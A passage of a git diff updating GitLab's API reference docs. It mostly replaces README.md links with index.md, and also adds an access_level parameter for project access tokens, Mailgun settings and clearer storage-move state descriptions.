-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `tag_name` | string | yes | The tag associated with the Release. |
| `name` | string | yes | The name of the link. Link names must be unique within the release. |
| `url` | string | yes | The URL of the link. Link URLs must be unique within the release. |
@@ -134,7 +134,7 @@ PUT /projects/:id/releases/:tag_name/assets/links/:link_id
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | --------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `tag_name` | string | yes | The tag associated with the Release. |
| `link_id` | integer | yes | The ID of the link. |
| `name` | string | no | The name of the link. |
@@ -175,7 +175,7 @@ DELETE /projects/:id/releases/:tag_name/assets/links/:link_id
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | --------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `tag_name` | string | yes | The tag associated with the Release. |
| `link_id` | integer | yes | The ID of the link. |
diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md
index 5e5b44fec8a..799763a7da3 100644
--- a/doc/api/remote_mirrors.md
+++ b/doc/api/remote_mirrors.md
@@ -7,7 +7,7 @@ type: reference, api
# Project remote mirrors API **(FREE)**
-[Push mirrors](../user/project/repository/repository_mirroring.md#pushing-to-a-remote-repository)
+[Push mirrors](../user/project/repository/repository_mirroring.md#push-to-a-remote-repository)
defined on a project's repository settings are called "remote mirrors", and the
state of these mirrors can be queried and modified via the remote mirror API
outlined below.
diff --git a/doc/api/repositories.md b/doc/api/repositories.md
index 1868f33373c..7e50a2c9f4c 100644
--- a/doc/api/repositories.md
+++ b/doc/api/repositories.md
@@ -22,11 +22,11 @@ Supported attributes:
| Attribute | Type | Required | Description |
| :---------- | :------------- | :------- | :---------- |
-| `id` | integer/string | no | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | no | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `path` | string | yes | The path inside repository. Used to get content of subdirectories. |
| `ref` | string | yes | The name of a repository branch or tag or if not given the default branch. |
| `recursive` | boolean | yes | Boolean value used to get a recursive tree (false by default). |
-| `per_page` | integer | yes | Number of results to show per page. If not specified, defaults to `20`. [Learn more on pagination](README.md#pagination). |
+| `per_page` | integer | yes | Number of results to show per page. If not specified, defaults to `20`. [Learn more on pagination](index.md#pagination). |
```json
[
@@ -96,7 +96,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
| :-------- | :------------- | :------- | :---------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `sha` | string | yes | The blob SHA. |
## Raw blob content
@@ -112,7 +112,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
| :-------- | :------- | :------- | :---------- |
-| `id` | datatype | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | datatype | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `sha` | datatype | yes | The blob SHA. |
## Get file archive
@@ -137,7 +137,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
|:------------|:---------------|:---------|:----------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `sha` | string | no | The commit SHA to download. A tag, branch reference, or SHA can be used. This defaults to the tip of the default branch if not specified. |
Example request:
@@ -159,7 +159,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
| :--------- | :------------- | :------- | :---------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `from` | string | yes | The commit SHA or branch name. |
| `to` | string | yes | The commit SHA or branch name. |
| `from_project_id` | integer | no | The ID to compare from |
@@ -220,7 +220,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
| :--------- | :------------- | :------- | :---------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `order_by` | string | no | Return contributors ordered by `name`, `email`, or `commits` (orders by commit date) fields. Default is `commits`. |
| `sort` | string | no | Return contributors sorted in `asc` or `desc` order. Default is `asc`. |
@@ -252,7 +252,7 @@ GET /projects/:id/repository/merge_base
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `refs` | array | yes | The refs to find the common ancestor of, multiple refs can be passed |
Example request:
@@ -313,7 +313,7 @@ Supported attributes:
WARNING:
GitLab treats trailers case-sensitively. If you set the `trailer` field to
-`Example`, GitLab _won't_ include commits that use the trailer `example`,
+`Example`, GitLab _won't_ include commits that use the trailer `example`,
`eXaMpLE`, or anything else that isn't _exactly_ `Example`.
If the `from` attribute is unspecified, GitLab uses the Git tag of the last
diff --git a/doc/api/repository_submodules.md b/doc/api/repository_submodules.md
index 1d7ca903fee..06f9e514009 100644
--- a/doc/api/repository_submodules.md
+++ b/doc/api/repository_submodules.md
@@ -22,7 +22,7 @@ PUT /projects/:id/repository/submodules/:submodule
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `submodule` | string | yes | URL-encoded full path to the submodule. For example, `lib%2Fclass%2Erb` |
| `branch` | string | yes | Name of the branch to commit into |
| `commit_sha` | string | yes | Full commit SHA to update the submodule to |
diff --git a/doc/api/resource_access_tokens.md b/doc/api/resource_access_tokens.md
index 3b443dbb8f8..3532cfda47b 100644
--- a/doc/api/resource_access_tokens.md
+++ b/doc/api/resource_access_tokens.md
@@ -20,7 +20,7 @@ GET projects/:id/access_tokens
| Attribute | Type | required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<project_id>/access_tokens"
@@ -38,7 +38,8 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
"id" : 42,
"active" : true,
"created_at" : "2021-01-20T22:11:48.151Z",
- "revoked" : false
+ "revoked" : false,
+ "access_level": 40
}
]
```
@@ -55,15 +56,16 @@ POST projects/:id/access_tokens
| Attribute | Type | required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `name` | String | yes | The name of the project access token |
| `scopes` | `Array[String]` | yes | [List of scopes](../user/project/settings/project_access_tokens.md#limiting-scopes-of-a-project-access-token) |
+| `access_level` | Integer | no | A valid access level. Default value is 40 (Maintainer). Other allowed values are 10 (Guest), 20 (Reporter), and 30 (Developer). |
| `expires_at` | Date | no | The token expires at midnight UTC on that date |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
--header "Content-Type:application/json" \
---data '{ "name":"test_token", "scopes":["api", "read_repository"], "expires_at":"2021-01-31" }' \
+--data '{ "name":"test_token", "scopes":["api", "read_repository"], "expires_at":"2021-01-31", "access_level": 30 }' \
"https://gitlab.example.com/api/v4/projects/<project_id>/access_tokens"
```
@@ -80,7 +82,8 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
"user_id" : 166,
"id" : 58,
"expires_at" : "2021-01-31",
- "token" : "D4y...Wzr"
+ "token" : "D4y...Wzr",
+ "access_level": 30
}
```
@@ -96,7 +99,7 @@ DELETE projects/:id/access_tokens/:token_id
| Attribute | Type | required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `token_id` | integer or string | yes | The ID of the project access token |
```shell
diff --git a/doc/api/resource_iteration_events.md b/doc/api/resource_iteration_events.md
index 91c7a1b07ea..f4463a4746d 100644
--- a/doc/api/resource_iteration_events.md
+++ b/doc/api/resource_iteration_events.md
@@ -26,7 +26,7 @@ GET /projects/:id/issues/:issue_iid/resource_iteration_events
| Attribute | Type | Required | Description |
| ----------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
Example request:
@@ -108,7 +108,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the project |
+| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project |
| `issue_iid` | integer | yes | The IID of an issue |
| `resource_iteration_event_id` | integer | yes | The ID of an iteration event |
diff --git a/doc/api/resource_label_events.md b/doc/api/resource_label_events.md
index 5fc7a0a52bd..c5292059c0f 100644
--- a/doc/api/resource_label_events.md
+++ b/doc/api/resource_label_events.md
@@ -21,7 +21,7 @@ GET /projects/:id/issues/:issue_iid/resource_label_events
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
```json
@@ -87,7 +87,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
| `resource_label_event_id` | integer | yes | The ID of a label event |
@@ -107,7 +107,7 @@ GET /groups/:id/epics/:epic_id/resource_label_events
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
```json
@@ -173,7 +173,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `resource_label_event_id` | integer | yes | The ID of a label event |
@@ -193,7 +193,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/resource_label_events
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
```json
@@ -259,7 +259,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `resource_label_event_id` | integer | yes | The ID of a label event |
diff --git a/doc/api/resource_milestone_events.md b/doc/api/resource_milestone_events.md
index df51584a4ed..75ecd986e4c 100644
--- a/doc/api/resource_milestone_events.md
+++ b/doc/api/resource_milestone_events.md
@@ -4,12 +4,12 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Resource milestone events API
+# Resource milestone events API **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31720) in GitLab 13.1.
-Resource milestone events keep track of what happens to GitLab [issues](../user/project/issues/) and
-[merge requests](../user/project/merge_requests/).
+Resource [milestone](../user/project/milestones/index.md) events keep track of what happens to
+GitLab [issues](../user/project/issues/) and [merge requests](../user/project/merge_requests/).
Use them to track which milestone was added or removed, who did it, and when it happened.
@@ -25,7 +25,7 @@ GET /projects/:id/issues/:issue_iid/resource_milestone_events
| Attribute | Type | Required | Description |
| ----------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
Example request:
@@ -109,7 +109,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the project |
+| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project |
| `issue_iid` | integer | yes | The IID of an issue |
| `resource_milestone_event_id` | integer | yes | The ID of a milestone event |
@@ -131,7 +131,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/resource_milestone_events
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the project |
+| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project |
| `merge_request_iid` | integer | yes | The IID of a merge request |
Example request:
@@ -215,7 +215,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `resource_milestone_event_id` | integer | yes | The ID of a milestone event |
diff --git a/doc/api/resource_state_events.md b/doc/api/resource_state_events.md
index e81b7ddd272..950d82a92a4 100644
--- a/doc/api/resource_state_events.md
+++ b/doc/api/resource_state_events.md
@@ -4,7 +4,7 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Resource state events API
+# Resource state events API **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35210/) in GitLab 13.2.
@@ -25,7 +25,7 @@ GET /projects/:id/issues/:issue_iid/resource_state_events
| Attribute | Type | Required | Description |
| ----------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
Example request:
@@ -83,7 +83,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the project |
+| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project |
| `issue_iid` | integer | yes | The IID of an issue |
| `resource_state_event_id` | integer | yes | The ID of a state event |
@@ -125,7 +125,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/resource_state_events
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the project |
+| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project |
| `merge_request_iid` | integer | yes | The IID of a merge request |
Example request:
@@ -183,7 +183,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `resource_state_event_id` | integer | yes | The ID of a state event |
diff --git a/doc/api/resource_weight_events.md b/doc/api/resource_weight_events.md
index 44c20c5bca8..8f11f0c984b 100644
--- a/doc/api/resource_weight_events.md
+++ b/doc/api/resource_weight_events.md
@@ -4,7 +4,7 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Resource weight events API
+# Resource weight events API **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/32542) in GitLab 13.2.
@@ -24,7 +24,7 @@ GET /projects/:id/issues/:issue_iid/resource_weight_events
| Attribute | Type | Required | Description |
| ----------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
Example request:
@@ -80,7 +80,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the project |
+| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project |
| `issue_iid` | integer | yes | The IID of an issue |
| `resource_weight_event_id` | integer | yes | The ID of a weight event |
diff --git a/doc/api/runners.md b/doc/api/runners.md
index 951e72edcb5..9e48331cdea 100644
--- a/doc/api/runners.md
+++ b/doc/api/runners.md
@@ -14,7 +14,7 @@ There are two tokens to take into account when connecting a runner with GitLab.
| Token | Description |
| ----- | ----------- |
-| Registration token | Token used to [register the runner](https://docs.gitlab.com/runner/register/). It can be [obtained through GitLab](../ci/runners/README.md). |
+| Registration token | Token used to [register the runner](https://docs.gitlab.com/runner/register/). It can be [obtained through GitLab](../ci/runners/index.md). |
| Authentication token | Token used to authenticate the runner with the GitLab instance. It is obtained either automatically when [registering a runner](https://docs.gitlab.com/runner/register/), or manually when [registering the runner via the Runner API](#register-a-new-runner). |
Here's an example of how the two tokens are used in runner registration:
@@ -164,7 +164,7 @@ Example response:
Get details of a runner.
-The [Maintainer role or higher](../user/permissions.md) is required to get runner details at the
+At least the [Maintainer role](../user/permissions.md) is required to get runner details at the
project and group level.
Instance-level runner details via this endpoint are available to all signed in users.
@@ -410,7 +410,7 @@ GET /projects/:id/runners?tag_list=tag1,tag2
| Attribute | Type | Required | Description |
|------------|----------------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `scope` | string | no | Deprecated: Use `type` or `status` instead. The scope of specific runners to show, one of: `active`, `paused`, `online`, `offline`; showing all runners if none provided |
| `type` | string | no | The type of runners to show, one of: `instance_type`, `group_type`, `project_type` |
| `status` | string | no | The status of runners to show, one of: `active`, `paused`, `online`, `offline` |
@@ -459,7 +459,7 @@ POST /projects/:id/runners
| Attribute | Type | Required | Description |
|-------------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `runner_id` | integer | yes | The ID of a runner |
```shell
@@ -495,7 +495,7 @@ DELETE /projects/:id/runners/:runner_id
| Attribute | Type | Required | Description |
|-------------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `runner_id` | integer | yes | The ID of a runner |
```shell
diff --git a/doc/api/search.md b/doc/api/search.md
index 9714bc17f62..d3a2f9c41b6 100644
--- a/doc/api/search.md
+++ b/doc/api/search.md
@@ -444,7 +444,7 @@ GET /groups/:id/search
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `scope` | string | yes | The scope to search in |
| `search` | string | yes | The search query |
| `state` | string | no | Filter by state. Issues and merge requests are supported; it is ignored for other scopes. |
@@ -836,7 +836,7 @@ GET /projects/:id/search
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `scope` | string | yes | The scope to search in |
| `search` | string | yes | The search query |
| `ref` | string | no | The name of a repository branch or tag to search on. The project's default branch is used by default. This is only applicable for scopes: commits, blobs, and wiki_blobs. |
diff --git a/doc/api/services.md b/doc/api/services.md
index 0a26a88de70..3652dd99fcd 100644
--- a/doc/api/services.md
+++ b/doc/api/services.md
@@ -258,7 +258,8 @@ GET /projects/:id/services/buildkite
## Campfire
-Simple web-based real-time group chat
+Send notifications about push events to Campfire chat rooms.
+Note that [new users can no longer sign up for Campfire](https://basecamp.com/retired/campfire).
### Create/Edit Campfire service
@@ -270,12 +271,12 @@ PUT /projects/:id/services/campfire
Parameters:
-| Parameter | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `token` | string | true | Campfire token |
-| `subdomain` | string | false | Campfire subdomain |
-| `room` | string | false | Campfire room |
-| `push_events` | boolean | false | Enable notifications for push events |
+| Parameter | Type | Required | Description |
+|---------------|---------|----------|---------------------------------------------------------------------------------------------|
+| `token` | string | true | Campfire API token. To find it, log into Campfire and select **My info**. |
+| `subdomain` | string | false | Campfire subdomain. Text between `https://` and `.campfirenow.com` when you're logged in. |
+| `room` | string | false | Campfire room. The last part of the URL when you're in a room. |
+| `push_events` | boolean | false | Enable notifications for push events. |
### Delete Campfire service
@@ -955,13 +956,15 @@ Get Pipeline-Emails service settings for a project.
GET /projects/:id/services/pipelines-email
```
-## PivotalTracker
+## Pivotal Tracker
-Project Management Software (Source Commits Endpoint)
+Add commit messages as comments to Pivotal Tracker stories.
+
+See also the [Pivotal Tracker service documentation](../user/project/integrations/pivotal_tracker.md).
-### Create/Edit PivotalTracker service
+### Create/Edit Pivotal Tracker service
-Set PivotalTracker service for a project.
+Set Pivotal Tracker service for a project.
```plaintext
PUT /projects/:id/services/pivotaltracker
@@ -971,21 +974,21 @@ Parameters:
| Parameter | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `token` | string | true | The PivotalTracker token |
+| `token` | string | true | The Pivotal Tracker token |
| `restrict_to_branch` | boolean | false | Comma-separated list of branches to automatically inspect. Leave blank to include all branches. |
| `push_events` | boolean | false | Enable notifications for push events |
-### Delete PivotalTracker service
+### Delete Pivotal Tracker service
-Delete PivotalTracker service for a project.
+Delete Pivotal Tracker service for a project.
```plaintext
DELETE /projects/:id/services/pivotaltracker
```
-### Get PivotalTracker service settings
+### Get Pivotal Tracker service settings
-Get PivotalTracker service settings for a project.
+Get Pivotal Tracker service settings for a project.
```plaintext
GET /projects/:id/services/pivotaltracker
diff --git a/doc/api/settings.md b/doc/api/settings.md
index 8225713fc00..d49dca96dfd 100644
--- a/doc/api/settings.md
+++ b/doc/api/settings.md
@@ -258,7 +258,7 @@ listed in the descriptions of the relevant settings.
| `disabled_oauth_sign_in_sources` | array of strings | no | Disabled OAuth sign-in sources. |
| `dns_rebinding_protection_enabled` | boolean | no | Enforce DNS rebinding attack protection. |
| `domain_denylist_enabled` | boolean | no | (**If enabled, requires:** `domain_denylist`) Allows blocking sign-ups from emails from specific domains. |
-| `domain_denylist` | array of strings | no | Users with e-mail addresses that match these domain(s) **cannot** sign up. Wildcards allowed. Use separate lines for multiple entries. Ex: `domain.com`, `*.domain.com`. |
+| `domain_denylist` | array of strings | no | Users with email addresses that match these domain(s) **cannot** sign up. Wildcards allowed. Use separate lines for multiple entries. Ex: `domain.com`, `*.domain.com`. |
| `domain_allowlist` | array of strings | no | Force people to use only corporate emails for sign-up. Default is `null`, meaning there is no restriction. |
| `dsa_key_restriction` | integer | no | The minimum allowed bit length of an uploaded DSA key. Default is `0` (no restriction). `-1` disables DSA keys. |
| `ecdsa_key_restriction` | integer | no | The minimum allowed curve size (in bits) of an uploaded ECDSA key. Default is `0` (no restriction). `-1` disables ECDSA keys. |
@@ -328,6 +328,8 @@ listed in the descriptions of the relevant settings.
| `issues_create_limit` | integer | no | Max number of issue creation requests per minute per user. Disabled by default.|
| `keep_latest_artifact` | boolean | no | Prevent the deletion of the artifacts from the most recent successful jobs, regardless of the expiry time. Enabled by default. |
| `local_markdown_version` | integer | no | Increase this value when any cached Markdown should be invalidated. |
+| `mailgun_signing_key` | string | no | The Mailgun HTTP webhook signing key for receiving events from webhook |
+| `mailgun_events_enabled` | boolean | no | Enable Mailgun event receiver. |
| `maintenance_mode_message` | string | no | **(PREMIUM)** Message displayed when instance is in maintenance mode. |
| `maintenance_mode` | boolean | no | **(PREMIUM)** When instance is in maintenance mode, non-administrative users can sign in with read-only access and make read-only API requests. |
| `max_artifacts_size` | integer | no | Maximum artifacts size in MB. |
@@ -413,7 +415,7 @@ listed in the descriptions of the relevant settings.
| `unique_ips_limit_time_window` | integer | required by: `unique_ips_limit_enabled` | How many seconds an IP is counted towards the limit. |
| `usage_ping_enabled` | boolean | no | Every week GitLab reports license usage back to GitLab, Inc. |
| `user_default_external` | boolean | no | Newly registered users are external by default. |
-| `user_default_internal_regex` | string | no | Specify an e-mail address regex pattern to identify default internal users. |
+| `user_default_internal_regex` | string | no | Specify an email address regex pattern to identify default internal users. |
| `user_oauth_applications` | boolean | no | Allow users to register any application to use GitLab as an OAuth provider. |
| `user_show_add_ssh_key_message` | boolean | no | When set to `false` disable the `You won't be able to pull or push project code via SSH` warning shown to users with no uploaded SSH key. |
| `version_check_enabled` | boolean | no | Let GitLab inform you when an update is available. |
diff --git a/doc/api/snippet_repository_storage_moves.md b/doc/api/snippet_repository_storage_moves.md
index 3454073cc8c..9951e073c39 100644
--- a/doc/api/snippet_repository_storage_moves.md
+++ b/doc/api/snippet_repository_storage_moves.md
@@ -16,19 +16,19 @@ example.
As snippet repository storage moves are processed, they transition through different states. Values
of `state` are:
-- `initial`
-- `scheduled`
-- `started`
-- `finished`
-- `failed`
-- `replicated`
-- `cleanup failed`
+- `initial`: The record has been created but the background job has not yet been scheduled.
+- `scheduled`: The background job has been scheduled.
+- `started`: The snippet repository is being copied to the destination storage.
+- `replicated`: The snippet has been moved.
+- `failed`: The snippet repository failed to copy or the checksum did not match.
+- `finished`: The snippet has been moved and the repository on the source storage has been deleted.
+- `cleanup failed`: The snippet has been moved but the repository on the source storage could not be deleted.
To ensure data integrity, snippets are put in a temporary read-only state for the
duration of the move. During this time, users receive a `The repository is temporarily
read-only. Please try again later.` message if they try to push new commits.
-This API requires you to [authenticate yourself](README.md#authentication) as an administrator.
+This API requires you to [authenticate yourself](index.md#authentication) as an administrator.
For other repository types see:
@@ -42,7 +42,7 @@ GET /snippet_repository_storage_moves
```
By default, `GET` requests return 20 results at a time because the API results
-are [paginated](README.md#pagination).
+are [paginated](index.md#pagination).
Example request:
@@ -84,7 +84,7 @@ GET /snippets/:snippet_id/repository_storage_moves
```
By default, `GET` requests return 20 results at a time because the API results
-are [paginated](README.md#pagination).
+are [paginated](index.md#pagination).
Supported attributes:
diff --git a/doc/api/status_checks.md b/doc/api/status_checks.md
index f4e384a2efb..25ccd5d767a 100644
--- a/doc/api/status_checks.md
+++ b/doc/api/status_checks.md
@@ -7,14 +7,8 @@ type: reference, api
# External Status Checks API **(ULTIMATE)**
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab 14.0.
